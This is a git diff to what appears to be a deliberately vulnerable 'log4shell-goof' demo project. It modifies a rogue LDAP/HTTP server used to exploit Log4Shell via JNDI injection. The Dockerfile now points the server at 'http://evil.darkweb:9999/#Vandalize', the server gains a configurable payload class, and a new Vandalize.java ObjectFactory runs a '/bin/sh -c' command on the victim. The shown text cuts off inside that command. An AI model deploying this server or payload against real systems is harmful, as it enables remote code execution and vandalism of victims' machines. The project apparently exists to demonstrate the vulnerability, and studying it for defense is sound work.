diff --git a/log4shell-goof/log4shell-server/Dockerfile b/log4shell-goof/log4shell-server/Dockerfile index b27450a63b..d47ecfd219 100644 --- a/log4shell-goof/log4shell-server/Dockerfile +++ b/log4shell-goof/log4shell-server/Dockerfile @@ -1,13 +1,11 @@ FROM maven:3-jdk-8-slim as build COPY . . -RUN mvn clean compile assembly:single -RUN mkdir /app -RUN jar xvf target/*.jar +RUN --mount=target=$HOME/.m2,type=cache mvn clean compile assembly:single FROM openjdk:8 as ldap COPY --from=build target/*.jar /server.jar EXPOSE 8000 EXPOSE 9999 -CMD ["java", "-jar", "/server.jar"] +CMD ["java", "-jar", "/server.jar", "http://evil.darkweb:9999/#Vandalize", "8000", "9999", "Vandalize.class"] diff --git a/log4shell-goof/log4shell-server/k8s/deploy.yaml b/log4shell-goof/log4shell-server/k8s/deploy.yaml index d21b27cdec..9fd6036731 100644 --- a/log4shell-goof/log4shell-server/k8s/deploy.yaml +++ b/log4shell-goof/log4shell-server/k8s/deploy.yaml @@ -22,8 +22,8 @@ spec: app: log4shell spec: containers: - - image: ${DOCKER_ACCOUNT}/log4shell-server:latest - name: ldap + - name: ldap + image: ${DOCKER_ACCOUNT}/log4shell-server:latest --- apiVersion: v1 kind: Service diff --git a/log4shell-goof/log4shell-server/src/main/java/Server.java b/log4shell-goof/log4shell-server/src/main/java/Server.java index ea141e6405..2d348dff9a 100644 --- a/log4shell-goof/log4shell-server/src/main/java/Server.java +++ b/log4shell-goof/log4shell-server/src/main/java/Server.java @@ -24,13 +24,14 @@ public class Server { private static final String LDAP_BASE = "dc=example,dc=com" ; - + private static String payloadClassname; public static void main (String[] args) throws IOException, LDAPException { - String[] defaultArgs = {"http://127.0.0.1:8000/#Evil", "9999", "8000"}; + String[] defaultArgs = {"http://127.0.0.1:8000/#Evil", "9999", "8000", "Evil.class"}; - if (args.length != 3) { + if (args.length != 4) { args = defaultArgs; } + payloadClassname = args[3]; setupLDAP(args[0], Integer.parseInt(args[1])); setupHTTP(Integer.parseInt(args[2])); @@ -72,7 +73,7 @@ private static void setupHTTP(int port) throws IOException { } private static byte[] readEvil() throws IOException { - InputStream is = Server.class.getClassLoader().getResourceAsStream("Evil.class"); + InputStream is = Server.class.getClassLoader().getResourceAsStream(payloadClassname); ByteArrayOutputStream bos = new ByteArrayOutputStream(); int nRead; diff --git a/log4shell-goof/log4shell-server/src/main/java/Vandalize.java b/log4shell-goof/log4shell-server/src/main/java/Vandalize.java new file mode 100644 index 0000000000..2845f54c50 --- /dev/null +++ b/log4shell-goof/log4shell-server/src/main/java/Vandalize.java @@ -0,0 +1,16 @@ +import javax.naming.Context; +import javax.naming.Name; +import javax.naming.spi.ObjectFactory; +import java.util.Hashtable; + +public class Vandalize implements ObjectFactory { + @Override + public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { + String[] cmd = { + "/bin/sh", + "-c", + "echo '